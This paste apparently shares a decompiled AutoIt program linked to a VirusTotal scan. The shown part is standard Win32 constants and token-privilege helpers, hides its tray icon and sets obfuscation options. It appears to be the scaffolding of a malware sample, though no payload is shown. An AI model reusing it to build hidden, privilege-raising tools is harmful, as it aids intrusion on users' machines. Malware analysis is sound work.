Snakelabs icon

8caa74325ac0f7134e87de8b1c4a125f6feca3b776c7dd9796433b38c93a

Snakelabs | PRO | 04/12/15 11:50:10 AM UTC | 0 ⭐ | 13146 👁️ | Never ⏰ | []
AutoIt |

154.14 KB

|

None

|

0 👍

/

0 👎

https://www.virustotal.com/en/file/0107ce3135ca2ae9d4021f6b1a0e8aa60fa373b55f6c0b6be9f652ac5eb6c6ad/analysis/ 
 
#NoTrayIcon
#Region
    #AutoIt3Wrapper_UseUpx=n
    #Obfuscator_Parameters=/cs /cn /striponly
#EndRegion
Global Const $tagpoint = "long X;long Y"
Global Const $tagrect = "long Left;long Top;long Right;long Bottom"
Global Const $tagsize = "long X;long Y"
Global Const $tagmargins = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight"
Global Const $tagfiletime = "dword Lo;dword Hi"
Global Const $tagsystemtime = "word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds"
Global Const $tagtime_zone_information = "long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias"
Global Const $tagnmhdr = "hwnd hWndFrom;uint_ptr IDFrom;INT Code"
Global Const $tagcomboboxexitem = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param"
Global Const $tagnmcbedragbegin = $tagnmhdr & ";int ItemID;ptr szText"
Global Const $tagnmcbeendedit = $tagnmhdr & ";bool fChanged;int NewSelection;ptr szText;int Why"
Global Const $tagnmcomboboxex = $tagnmhdr & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param"
Global Const $tagdtprange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid"
Global Const $tagnmdatetimechange = $tagnmhdr & ";dword Flag;" & $tagsystemtime
Global Const $tagnmdatetimeformat = $tagnmhdr & ";ptr Format;" & $tagsystemtime & ";ptr pDisplay;wchar Display[64]"
Global Const $tagnmdatetimeformatquery = $tagnmhdr & ";ptr Format;long SizeX;long SizeY"
Global Const $tagnmdatetimekeydown = $tagnmhdr & ";int VirtKey;ptr Format;" & $tagsystemtime
Global Const $tagnmdatetimestring = $tagnmhdr & ";ptr UserString;" & $tagsystemtime & ";dword Flags"
Global Const $tageventlogrecord = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset"
Global Const $taggdipbitmapdata = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved"
Global Const $taggdipencoderparam = "byte GUID[16];dword Count;dword Type;ptr Values"
Global Const $taggdipencoderparams = "dword Count;byte Params[0]"
Global Const $taggdiprectf = "float X;float Y;float Width;float Height"
Global Const $taggdipstartupinput = "uint Version;ptr Callback;bool NoThread;bool NoCodecs"
Global Const $taggdipstartupoutput = "ptr HookProc;ptr UnhookProc"
Global Const $taggdipimagecodecinfo = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask"
Global Const $taggdippencoderparams = "dword Count;byte Params[0]"
Global Const $taghditem = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State"
Global Const $tagnmhddispinfo = $tagnmhdr & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam"
Global Const $tagnmhdfilterbtnclick = $tagnmhdr & ";int Item;" & $tagrect
Global Const $tagnmheader = $tagnmhdr & ";int Item;int Button;ptr pItem"
Global Const $taggetipaddress = "byte Field4;byte Field3;byte Field2;byte Field1"
Global Const $tagnmipaddress = $tagnmhdr & ";int Field;int Value"
Global Const $taglvfindinfo = "uint Flags;ptr Text;lparam Param;" & $tagpoint & ";uint Direction"
Global Const $taglvhittestinfo = $tagpoint & ";uint Flags;int Item;int SubItem"
Global Const $taglvitem = "uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns"
Global Const $tagnmlistview = $tagnmhdr & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "long ActionX;long ActionY;lparam Param"
Global Const $tagnmlvcustomdraw = $tagnmhdr & ";dword dwDrawStage;handle hdc;long Left;long Top;long Right;long Bottom;" & "dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartId;int iStateId;long TextLeft;long TextTop;long TextRight;long TextBottom;uint uAlign"
Global Const $tagnmlvdispinfo = $tagnmhdr & ";" & $taglvitem
Global Const $tagnmlvfinditem = $tagnmhdr & ";" & $taglvfindinfo
Global Const $tagnmlvgetinfotip = $tagnmhdr & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam"
Global Const $tagnmitemactivate = $tagnmhdr & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $tagpoint & ";lparam lParam;uint KeyFlags"
Global Const $tagnmlvkeydown = $tagnmhdr & ";align 1;word VKey;uint Flags"
Global Const $tagnmlvscroll = $tagnmhdr & ";int DX;int DY"
Global Const $tagmchittestinfo = "uint Size;" & $tagpoint & ";uint Hit;" & $tagsystemtime
Global Const $tagmcmonthrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span"
Global Const $tagmcrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet"
Global Const $tagmcselrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds"
Global Const $tagnmdaystate = $tagnmhdr & ";" & $tagsystemtime & ";int DayState;ptr pDayState"
Global Const $tagnmselchange = $tagnmhdr & ";word BegYear;word BegMonth;word BegDOW;word BegDay;" & "word BegHour;word BegMinute;word BegSecond;word BegMSeconds;word EndYear;word EndMonth;word EndDOW;" & "word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds"
Global Const $tagnmobjectnotify = $tagnmhdr & ";int Item;ptr piid;ptr pObject;long Result"
Global Const $tagnmtckeydown = $tagnmhdr & ";word VKey;uint Flags"
Global Const $tagtvitem = "uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param"
Global Const $tagtvitemex = $tagtvitem & ";int Integral"
Global Const $tagnmtreeview = $tagnmhdr & ";uint Action;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;uint NewMask;handle NewhItem;" & "uint NewState;uint NewStateMask;ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;" & "lparam NewParam;long PointX;long PointY"
Global Const $tagnmtvcustomdraw = $tagnmhdr & ";dword DrawStage;handle HDC;long Left;long Top;long Right;long Bottom;" & "dword_ptr ItemSpec;uint ItemState;lparam ItemParam;dword ClrText;dword ClrTextBk;int Level"
Global Const $tagnmtvdispinfo = $tagnmhdr & ";" & $tagtvitem
Global Const $tagnmtvgetinfotip = $tagnmhdr & ";ptr Text;int TextMax;handle hItem;lparam lParam"
Global Const $tagtvhittestinfo = $tagpoint & ";uint Flags;handle Item"
Global Const $tagnmtvkeydown = $tagnmhdr & ";word VKey;uint Flags"
Global Const $tagnmmouse = $tagnmhdr & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $tagpoint & ";lparam HitInfo"
Global Const $tagtoken_privileges = "dword Count;int64 LUID;dword Attributes"
Global Const $tagimageinfo = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $tagrect
Global Const $tagmenuinfo = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData"
Global Const $tagmenuiteminfo = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem"
Global Const $tagrebarbandinfo = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader"
Global Const $tagnmrebarautobreak = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak"
Global Const $tagnmrbautosize = $tagnmhdr & ";bool fChanged;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;" & "long ActualLeft;long ActualTop;long ActualRight;long ActualBottom"
Global Const $tagnmrebar = $tagnmhdr & ";dword dwMask;uint uBand;uint fStyle;uint wID;laram lParam"
Global Const $tagnmrebarchevron = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;" & $tagrect & ";lparam lParamNM"
Global Const $tagnmrebarchildsize = $tagnmhdr & ";uint uBand;uint wID;long CLeft;long CTop;long CRight;long CBottom;" & "long BLeft;long BTop;long BRight;long BBottom"
Global Const $tagcolorscheme = "dword Size;dword BtnHighlight;dword BtnShadow"
Global Const $tagnmtoolbar = $tagnmhdr & ";int iItem;" & "int iBitmap;int idCommand;byte fsState;byte fsStyle;align;dword_ptr dwData;int_ptr iString" & ";int cchText;ptr pszText;" & $tagrect
Global Const $tagnmtbhotitem = $tagnmhdr & ";int idOld;int idNew;dword dwFlags"
Global Const $tagtbbutton = "int Bitmap;int Command;byte State;byte Style;align;dword_ptr Param;int_ptr String"
Global Const $tagtbbuttoninfo = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax"
Global Const $tagnetresource = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider"
Global Const $tagoverlapped = "ulong_ptr Internal;ulong_ptr InternalHigh;dword Offset;dword OffsetHigh;handle hEvent"
Global Const $tagopenfilename = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx"
Global Const $tagbitmapinfo = "dword Size;long Width;long Height;word Planes;word BitCount;dword Compression;dword SizeImage;" & "long XPelsPerMeter;long YPelsPerMeter;dword ClrUsed;dword ClrImportant;dword RGBQuad"
Global Const $tagblendfunction = "byte Op;byte Flags;byte Alpha;byte Format"
Global Const $tagguid = "dword Data1;word Data2;word Data3;byte Data4[8]"
Global Const $tagwindowplacement = "uint length; uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]"
Global Const $tagwindowpos = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags"
Global Const $tagscrollinfo = "uint cbSize;uint fMask;int  nMin;int  nMax;uint nPage;int  nPos;int  nTrackPos"
Global Const $tagscrollbarinfo = "dword cbSize;" & $tagrect & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]"
Global Const $taglogfont = "long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32]"
Global Const $tagkbdllhookstruct = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo"
Global Const $tagprocess_information = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID"
Global Const $tagstartupinfo = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError"
Global Const $tagsecurity_attributes = "dword Length;ptr Descriptor;bool InheritHandle"
Global Const $tagwin32_find_data = "dword dwFileAttributes; dword ftCreationTime[2]; dword ftLastAccessTime[2]; dword ftLastWriteTime[2]; dword nFileSizeHigh; dword nFileSizeLow; dword dwReserved0; dword dwReserved1; wchar cFileName[260]; wchar cAlternateFileName[14]"
Global Const $fc_nooverwrite = 0
Global Const $fc_overwrite = 1
Global Const $ft_modified = 0
Global Const $ft_created = 1
Global Const $ft_accessed = 2
Global Const $fo_read = 0
Global Const $fo_append = 1
Global Const $fo_overwrite = 2
Global Const $fo_binary = 16
Global Const $fo_unicode = 32
Global Const $fo_utf16_le = 32
Global Const $fo_utf16_be = 64
Global Const $fo_utf8 = 128
Global Const $fo_utf8_nobom = 256
Global Const $eof = -1
Global Const $fd_filemustexist = 1
Global Const $fd_pathmustexist = 2
Global Const $fd_multiselect = 4
Global Const $fd_promptcreatenew = 8
Global Const $fd_promptoverwrite = 16
Global Const $create_new = 1
Global Const $create_always = 2
Global Const $open_existing = 3
Global Const $open_always = 4
Global Const $truncate_existing = 5
Global Const $invalid_set_file_pointer = -1
Global Const $file_begin = 0
Global Const $file_current = 1
Global Const $file_end = 2
Global Const $file_attribute_readonly = 1
Global Const $file_attribute_hidden = 2
Global Const $file_attribute_system = 4
Global Const $file_attribute_directory = 16
Global Const $file_attribute_archive = 32
Global Const $file_attribute_device = 64
Global Const $file_attribute_normal = 128
Global Const $file_attribute_temporary = 256
Global Const $file_attribute_sparse_file = 512
Global Const $file_attribute_reparse_point = 1024
Global Const $file_attribute_compressed = 2048
Global Const $file_attribute_offline = 4096
Global Const $file_attribute_not_content_indexed = 8192
Global Const $file_attribute_encrypted = 16384
Global Const $file_share_read = 1
Global Const $file_share_write = 2
Global Const $file_share_delete = 4
Global Const $generic_all = 268435456
Global Const $generic_execute = 536870912
Global Const $generic_write = 1073741824
Global Const $generic_read = -2147483648
Global Const $error_no_token = 1008
Global Const $se_assignprimarytoken_name = "SeAssignPrimaryTokenPrivilege"
Global Const $se_audit_name = "SeAuditPrivilege"
Global Const $se_backup_name = "SeBackupPrivilege"
Global Const $se_change_notify_name = "SeChangeNotifyPrivilege"
Global Const $se_create_global_name = "SeCreateGlobalPrivilege"
Global Const $se_create_pagefile_name = "SeCreatePagefilePrivilege"
Global Const $se_create_permanent_name = "SeCreatePermanentPrivilege"
Global Const $se_create_token_name = "SeCreateTokenPrivilege"
Global Const $se_debug_name = "SeDebugPrivilege"
Global Const $se_enable_delegation_name = "SeEnableDelegationPrivilege"
Global Const $se_impersonate_name = "SeImpersonatePrivilege"
Global Const $se_inc_base_priority_name = "SeIncreaseBasePriorityPrivilege"
Global Const $se_increase_quota_name = "SeIncreaseQuotaPrivilege"
Global Const $se_load_driver_name = "SeLoadDriverPrivilege"
Global Const $se_lock_memory_name = "SeLockMemoryPrivilege"
Global Const $se_machine_account_name = "SeMachineAccountPrivilege"
Global Const $se_manage_volume_name = "SeManageVolumePrivilege"
Global Const $se_prof_single_process_name = "SeProfileSingleProcessPrivilege"
Global Const $se_remote_shutdown_name = "SeRemoteShutdownPrivilege"
Global Const $se_restore_name = "SeRestorePrivilege"
Global Const $se_security_name = "SeSecurityPrivilege"
Global Const $se_shutdown_name = "SeShutdownPrivilege"
Global Const $se_sync_agent_name = "SeSyncAgentPrivilege"
Global Const $se_system_environment_name = "SeSystemEnvironmentPrivilege"
Global Const $se_system_profile_name = "SeSystemProfilePrivilege"
Global Const $se_systemtime_name = "SeSystemtimePrivilege"
Global Const $se_take_ownership_name = "SeTakeOwnershipPrivilege"
Global Const $se_tcb_name = "SeTcbPrivilege"
Global Const $se_unsolicited_input_name = "SeUnsolicitedInputPrivilege"
Global Const $se_undock_name = "SeUndockPrivilege"
Global Const $se_privilege_enabled_by_default = 1
Global Const $se_privilege_enabled = 2
Global Const $se_privilege_removed = 4
Global Const $se_privilege_used_for_access = -2147483648
Global Const $tokenuser = 1
Global Const $tokengroups = 2
Global Const $tokenprivileges = 3
Global Const $tokenowner = 4
Global Const $tokenprimarygroup = 5
Global Const $tokendefaultdacl = 6
Global Const $tokensource = 7
Global Const $tokentype = 8
Global Const $tokenimpersonationlevel = 9
Global Const $tokenstatistics = 10
Global Const $tokenrestrictedsids = 11
Global Const $tokensessionid = 12
Global Const $tokengroupsandprivileges = 13
Global Const $tokensessionreference = 14
Global Const $tokensandboxinert = 15
Global Const $tokenauditpolicy = 16
Global Const $tokenorigin = 17
Global Const $tokenelevationtype = 18
Global Const $tokenlinkedtoken = 19
Global Const $tokenelevation = 20
Global Const $tokenhasrestrictions = 21
Global Const $tokenaccessinformation = 22
Global Const $tokenvirtualizationallowed = 23
Global Const $tokenvirtualizationenabled = 24
Global Const $tokenintegritylevel = 25
Global Const $tokenuiaccess = 26
Global Const $tokenmandatorypolicy = 27
Global Const $tokenlogonsid = 28
Global Const $token_assign_primary = 1
Global Const $token_duplicate = 2
Global Const $token_impersonate = 4
Global Const $token_query = 8
Global Const $token_query_source = 16
Global Const $token_adjust_privileges = 32
Global Const $token_adjust_groups = 64
Global Const $token_adjust_default = 128
Global Const $token_adjust_sessionid = 256
 
Func _winapi_getlasterror($curerr = @error, $curext = @extended)
    Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError")
    Return SetError($curerr, $curext, $aresult[0])
EndFunc
 
Func _winapi_setlasterror($ierrcode, $curerr = @error, $curext = @extended)
    DllCall("kernel32.dll", "none", "SetLastError", "dword", $ierrcode)
    Return SetError($curerr, $curext)
EndFunc
 
Func _security__adjusttokenprivileges($htoken, $fdisableall, $pnewstate, $ibufferlen, $pprevstate = 0, $prequired = 0)
    Local $aresult = DllCall("advapi32.dll", "bool", "AdjustTokenPrivileges", "handle", $htoken, "bool", $fdisableall, "ptr", $pnewstate, "dword", $ibufferlen, "ptr", $pprevstate, "ptr", $prequired)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _security__getaccountsid($saccount, $ssystem = "")
    Local $aacct = _security__lookupaccountname($saccount, $ssystem)
    If @error Then Return SetError(@error, 0, 0)
    Return _security__stringsidtosid($aacct[0])
EndFunc
 
Func _security__getlengthsid($psid)
    If NOT _security__isvalidsid($psid) Then Return SetError(-1, 0, 0)
    Local $aresult = DllCall("advapi32.dll", "dword", "GetLengthSid", "ptr", $psid)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _security__gettokeninformation($htoken, $iclass)
    Local $aresult = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "ptr", 0, "dword", 0, "dword*", 0)
    If @error Then Return SetError(@error, @extended, 0)
    If NOT $aresult[0] Then Return 0
    Local $tbuffer = DllStructCreate("byte[" & $aresult[5] & "]")
    Local $pbuffer = DllStructGetPtr($tbuffer)
    $aresult = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "ptr", $pbuffer, "dword", $aresult[5], "dword*", 0)
    If @error Then Return SetError(@error, @extended, 0)
    If NOT $aresult[0] Then Return 0
    Return $tbuffer
EndFunc
 
Func _security__impersonateself($ilevel = 2)
    Local $aresult = DllCall("advapi32.dll", "bool", "ImpersonateSelf", "int", $ilevel)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _security__isvalidsid($psid)
    Local $aresult = DllCall("advapi32.dll", "bool", "IsValidSid", "ptr", $psid)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _security__lookupaccountname($saccount, $ssystem = "")
    Local $tdata = DllStructCreate("byte SID[256]")
    Local $psid = DllStructGetPtr($tdata, "SID")
    Local $aresult = DllCall("advapi32.dll", "bool", "LookupAccountNameW", "wstr", $ssystem, "wstr", $saccount, "ptr", $psid, "dword*", 256, "wstr", "", "dword*", 256, "int*", 0)
    If @error Then Return SetError(@error, @extended, 0)
    If NOT $aresult[0] Then Return 0
    Local $aacct[3]
    $aacct[0] = _security__sidtostringsid($psid)
    $aacct[1] = $aresult[5]
    $aacct[2] = $aresult[7]
    Return $aacct
EndFunc
 
Func _security__lookupaccountsid($vsid)
    Local $psid, $aacct[3]
    If IsString($vsid) Then
        Local $tsid = _security__stringsidtosid($vsid)
        $psid = DllStructGetPtr($tsid)
    Else
        $psid = $vsid
    EndIf
    If NOT _security__isvalidsid($psid) Then Return SetError(-1, 0, 0)
    Local $aresult = DllCall("advapi32.dll", "bool", "LookupAccountSidW", "ptr", 0, "ptr", $psid, "wstr", "", "dword*", 256, "wstr", "", "dword*", 256, "int*", 0)
    If @error Then Return SetError(@error, @extended, 0)
    If NOT $aresult[0] Then Return 0
    Local $aacct[3]
    $aacct[0] = $aresult[3]
    $aacct[1] = $aresult[5]
    $aacct[2] = $aresult[7]
    Return $aacct
EndFunc
 
Func _security__lookupprivilegevalue($ssystem, $sname)
    Local $aresult = DllCall("advapi32.dll", "int", "LookupPrivilegeValueW", "wstr", $ssystem, "wstr", $sname, "int64*", 0)
    If @error Then Return SetError(@error, @extended, 0)
    Return SetError(0, $aresult[0], $aresult[3])
EndFunc
 
Func _security__openprocesstoken($hprocess, $iaccess)
    Local $aresult = DllCall("advapi32.dll", "int", "OpenProcessToken", "handle", $hprocess, "dword", $iaccess, "ptr", 0)
    If @error Then Return SetError(@error, @extended, 0)
    Return SetError(0, $aresult[0], $aresult[3])
EndFunc
 
Func _security__openthreadtoken($iaccess, $hthread = 0, $fopenasself = False)
    If $hthread = 0 Then $hthread = DllCall("kernel32.dll", "handle", "GetCurrentThread")
    If @error Then Return SetError(@error, @extended, 0)
    Local $aresult = DllCall("advapi32.dll", "bool", "OpenThreadToken", "handle", $hthread[0], "dword", $iaccess, "int", $fopenasself, "ptr*", 0)
    If @error Then Return SetError(@error, @extended, 0)
    Return SetError(0, $aresult[0], $aresult[4])
EndFunc
 
Func _security__openthreadtokenex($iaccess, $hthread = 0, $fopenasself = False)
    Local $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself)
    If $htoken = 0 Then
        If _winapi_getlasterror() <> $error_no_token Then Return SetError(-3, _winapi_getlasterror(), 0)
        If NOT _security__impersonateself() Then Return SetError(-1, _winapi_getlasterror(), 0)
        $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself)
        If $htoken = 0 Then Return SetError(-2, _winapi_getlasterror(), 0)
    EndIf
    Return $htoken
EndFunc
 
Func _security__setprivilege($htoken, $sprivilege, $fenable)
    Local $iluid = _security__lookupprivilegevalue("", $sprivilege)
    If $iluid = 0 Then Return SetError(-1, 0, False)
    Local $tcurrstate = DllStructCreate($tagtoken_privileges)
    Local $pcurrstate = DllStructGetPtr($tcurrstate)
    Local $icurrstate = DllStructGetSize($tcurrstate)
    Local $tprevstate = DllStructCreate($tagtoken_privileges)
    Local $pprevstate = DllStructGetPtr($tprevstate)
    Local $iprevstate = DllStructGetSize($tprevstate)
    Local $trequired = DllStructCreate("int Data")
    Local $prequired = DllStructGetPtr($trequired)
    DllStructSetData($tcurrstate, "Count", 1)
    DllStructSetData($tcurrstate, "LUID", $iluid)
    If NOT _security__adjusttokenprivileges($htoken, False, $pcurrstate, $icurrstate, $pprevstate, $prequired) Then Return SetError(-2, @error, False)
    DllStructSetData($tprevstate, "Count", 1)
    DllStructSetData($tprevstate, "LUID", $iluid)
    Local $iattributes = DllStructGetData($tprevstate, "Attributes")
    If $fenable Then
        $iattributes = BitOR($iattributes, $se_privilege_enabled)
    Else
        $iattributes = BitAND($iattributes, BitNOT($se_privilege_enabled))
    EndIf
    DllStructSetData($tprevstate, "Attributes", $iattributes)
    If NOT _security__adjusttokenprivileges($htoken, False, $pprevstate, $iprevstate, $pcurrstate, $prequired) Then Return SetError(-3, @error, False)
    Return True
EndFunc
 
Func _security__sidtostringsid($psid)
    If NOT _security__isvalidsid($psid) Then Return SetError(-1, 0, "")
    Local $aresult = DllCall("advapi32.dll", "int", "ConvertSidToStringSidW", "ptr", $psid, "ptr*", 0)
    If @error Then Return SetError(@error, @extended, "")
    If NOT $aresult[0] Then Return ""
    Local $tbuffer = DllStructCreate("wchar Text[256]", $aresult[2])
    Local $ssid = DllStructGetData($tbuffer, "Text")
    DllCall("Kernel32.dll", "ptr", "LocalFree", "ptr", $aresult[2])
    Return $ssid
EndFunc
 
Func _security__sidtypestr($itype)
    Switch $itype
        Case 1
            Return "User"
        Case 2
            Return "Group"
        Case 3
            Return "Domain"
        Case 4
            Return "Alias"
        Case 5
            Return "Well Known Group"
        Case 6
            Return "Deleted Account"
        Case 7
            Return "Invalid"
        Case 8
            Return "Invalid"
        Case 9
            Return "Computer"
        Case Else
            Return "Unknown SID Type"
    EndSwitch
EndFunc
 
Func _security__stringsidtosid($ssid)
    Local $aresult = DllCall("advapi32.dll", "bool", "ConvertStringSidToSidW", "wstr", $ssid, "ptr*", 0)
    If @error Then Return SetError(@error, @extended, 0)
    If NOT $aresult[0] Then Return 0
    Local $isize = _security__getlengthsid($aresult[2])
    Local $tbuffer = DllStructCreate("byte Data[" & $isize & "]", $aresult[2])
    Local $tsid = DllStructCreate("byte Data[" & $isize & "]")
    DllStructSetData($tsid, "Data", DllStructGetData($tbuffer, "Data"))
    DllCall("kernel32.dll", "ptr", "LocalFree", "ptr", $aresult[2])
    Return $tsid
EndFunc
 
Func _sendmessage($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
    Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageW", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
    If @error Then Return SetError(@error, @extended, "")
    If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
    Return $aresult
EndFunc
 
Func _sendmessagea($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
    Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageA", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
    If @error Then Return SetError(@error, @extended, "")
    If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
    Return $aresult
EndFunc
 
Global $__gainprocess_winapi[64][2] = [[0, 0]]
Global $__gawinlist_winapi[64][2] = [[0, 0]]
Global Const $__winapiconstant_wm_setfont = 48
Global Const $__winapiconstant_fw_normal = 400
Global Const $__winapiconstant_default_charset = 1
Global Const $__winapiconstant_out_default_precis = 0
Global Const $__winapiconstant_clip_default_precis = 0
Global Const $__winapiconstant_default_quality = 0
Global Const $__winapiconstant_format_message_allocate_buffer = 256
Global Const $__winapiconstant_format_message_from_system = 4096
Global Const $__winapiconstant_logpixelsx = 88
Global Const $__winapiconstant_logpixelsy = 90
Global Const $hgdi_error = Ptr(-1)
Global Const $invalid_handle_value = Ptr(-1)
Global Const $clr_invalid = -1
Global Const $__winapiconstant_flashw_caption = 1
Global Const $__winapiconstant_flashw_tray = 2
Global Const $__winapiconstant_flashw_timer = 4
Global Const $__winapiconstant_flashw_timernofg = 12
Global Const $__winapiconstant_gw_hwndnext = 2
Global Const $__winapiconstant_gw_child = 5
Global Const $__winapiconstant_di_mask = 1
Global Const $__winapiconstant_di_image = 2
Global Const $__winapiconstant_di_normal = 3
Global Const $__winapiconstant_di_compat = 4
Global Const $__winapiconstant_di_defaultsize = 8
Global Const $__winapiconstant_di_nomirror = 16
Global Const $__winapiconstant_display_device_attached_to_desktop = 1
Global Const $__winapiconstant_display_device_primary_device = 4
Global Const $__winapiconstant_display_device_mirroring_driver = 8
Global Const $__winapiconstant_display_device_vga_compatible = 16
Global Const $__winapiconstant_display_device_removable = 32
Global Const $__winapiconstant_display_device_modespruned = 134217728
Global Const $null_brush = 5
Global Const $null_pen = 8
Global Const $black_brush = 4
Global Const $dkgray_brush = 3
Global Const $dc_brush = 18
Global Const $gray_brush = 2
Global Const $hollow_brush = $null_brush
Global Const $ltgray_brush = 1
Global Const $white_brush = 0
Global Const $black_pen = 7
Global Const $dc_pen = 19
Global Const $white_pen = 6
Global Const $ansi_fixed_font = 11
Global Const $ansi_var_font = 12
Global Const $device_default_font = 14
Global Const $default_gui_font = 17
Global Const $oem_fixed_font = 10
Global Const $system_font = 13
Global Const $system_fixed_font = 16
Global Const $default_palette = 15
Global Const $mb_precomposed = 1
Global Const $mb_composite = 2
Global Const $mb_useglyphchars = 4
Global Const $ulw_alpha = 2
Global Const $ulw_colorkey = 1
Global Const $ulw_opaque = 4
Global Const $wh_callwndproc = 4
